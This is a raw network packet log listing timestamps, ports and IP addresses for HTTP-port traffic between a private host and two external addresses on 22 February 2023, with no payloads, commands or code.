Feb 22, 2023 09:43:48.330379963 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.330483913 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.330486059 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.330583096 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.330599070 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.330841064 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.347944975 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.348072052 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.348908901 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.348933935 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.349004984 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.352854967 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.352916002 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.352940083 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.353041887 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.353041887 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.353293896 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.353578091 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.353674889 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.355319977 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.355519056 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.355545044 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.355607986 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.355608940 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.355859995 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.355860949 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.372984886 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.373054028 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.373105049 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.373143911 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.373143911 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.373153925 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.373243093 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.373277903 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.373354912 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.373456955 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.373545885 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.373639107 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.373656034 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.373708963 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.373775005 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.373775005 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.391993046 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.392033100 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.392169952 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.392338037 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.393083096 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.393188953 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.397139072 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.397176981 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.397201061 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.397234917 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.397439003 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.397577047 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.397603989 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.397708893 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.399466991 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.399506092 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.399524927 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.399558067 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.399705887 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.399838924 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.416379929 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.416425943 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.416528940 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.416990995 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.417145967 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.417529106 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.417607069 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.418076038 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.418169022 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.418190956 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.418219090 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.418247938 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.418423891 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.418755054 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.418781996 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.418818951 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.418838978 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.436543941 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.436577082 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.436594963 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.436662912 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.436697006 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.437628984 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.440251112 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.440300941 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.440315962 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.440340042 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.440486908 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.440505981 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.440511942 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.440525055 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.440532923 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.440561056 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.440587997 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.440613985 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.440658092 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.440728903 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.442545891 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.442574978 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.442625046 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.442653894 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.442722082 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.442814112 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.459657907 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.459736109 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.461009979 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.461076021 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.461483955 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.461534023 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.462028027 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.462054968 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.462074995 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.462080002 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.462112904 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.463385105 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.463424921 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.463449001 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.480149984 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.480190992 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.481544018 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.484153032 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.484189034 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.484206915 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.484745026 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.484766960 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.484786034 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.484807014 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.484879971 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.485591888 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.485615015 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.485675097 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.485713959 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.504152060 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.504187107 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.504739046 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.505924940 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.506412029 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.507605076 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.512132883 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.524471045 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.568496943 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.569025040 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.652112961 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.654078960 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.697242975 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.700210094 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.706760883 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.752531052 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.859219074 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:53.209229946 CET	49709	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:53.209552050 CET	49708	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:53.572098970 CET	80	49713	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:53.572316885 CET	49713	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:53.766257048 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:53.768589973 CET	49713	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:53.809525967 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:53.809604883 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:53.811698914 CET	80	49713	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:53.839572906 CET	49715	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:53.882708073 CET	80	49715	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:53.882862091 CET	49715	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:53.926022053 CET	80	49715	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:53.926117897 CET	49715	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:53.969566107 CET	80	49715	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:53.972028017 CET	80	49715	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:54.109674931 CET	49715	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:55.390830040 CET	49716	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:55.427531958 CET	80	49716	208.95.112.1	192.168.2.3
Feb 22, 2023 09:43:55.427676916 CET	49716	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:55.442380905 CET	49716	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:55.480542898 CET	80	49716	208.95.112.1	192.168.2.3
Feb 22, 2023 09:43:55.562905073 CET	49716	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:56.995117903 CET	49715	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.038598061 CET	80	49715	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.039226055 CET	49715	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.055100918 CET	49717	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.098253965 CET	80	49717	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.099364042 CET	49717	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.142503977 CET	80	49717	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.142652988 CET	49717	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.162533045 CET	49718	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:57.185822010 CET	80	49717	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.188635111 CET	80	49717	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.199222088 CET	80	49718	208.95.112.1	192.168.2.3
Feb 22, 2023 09:43:57.202234030 CET	49718	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:57.212678909 CET	49718	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:57.250816107 CET	80	49718	208.95.112.1	192.168.2.3
Feb 22, 2023 09:43:57.264887094 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.307945967 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.308036089 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.313052893 CET	49717	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.351130009 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.351651907 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.359920025 CET	49718	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:57.394794941 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.394824982 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.395102024 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.395225048 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.395277023 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.438251972 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.438292027 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.438316107 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.438339949 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.438390970 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.438435078 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.478069067 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.479806900 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.481523037 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.481549978 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.481565952 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.481580973 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.481595993 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.481611013 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.481626987 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.481637001 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.481669903 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.481693983 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.481714964 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.481723070 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.481738091 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.481761932 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.481769085 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.481796980 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.481811047 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.481838942 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.481884003 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.481959105 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.522917032 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.523080111 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.524671078 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.524693966 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.524710894 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.524728060 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.524761915 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.524761915 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.524815083 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.524835110 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.524874926 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.524914980 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.524931908 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.524966955 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.524983883 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.525094986 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.525099039 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.525115013 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.525130033 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.525135040 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.525186062 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.525202990 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.525222063 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.525260925 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.525275946 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.525325060 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.525394917 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.565088034 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.565198898 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.566059113 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.566149950 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.567678928 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.567701101 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.567715883 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.567729950 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.567744970 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.567784071 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.567832947 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.567872047 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.567886114 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.567893982 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.567922115 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.567943096 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.568005085 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568025112 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568032980 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.568052053 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.568067074 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.568120956 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568162918 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568177938 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568207979 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.568253040 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568268061 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568289042 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568304062 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568319082 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568336010 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.568336010 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.568372011 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568387032 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568425894 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568460941 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568504095 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.568504095 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.568558931 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568581104 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.568599939 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568600893 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.568639994 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568675995 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.568675995 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568700075 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.568712950 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568726063 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.568737984 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.568752050 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.568835974 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.608246088 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.608388901 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.609038115 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.609057903 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.609123945 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.610678911 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.610717058 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.610734940 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.610752106 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.610770941 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.610780001 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.610795975 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.610804081 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.610819101 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.610852003 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.610878944 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.610882044 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.610896111 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.610910892 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611044884 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.611052036 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611073971 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611124039 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.611134052 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611215115 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611253977 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611258030 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.611373901 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611401081 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.611413002 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611417055 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.611428976 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611449957 CET	49719	80	192.168.2.3	89.45.67.2
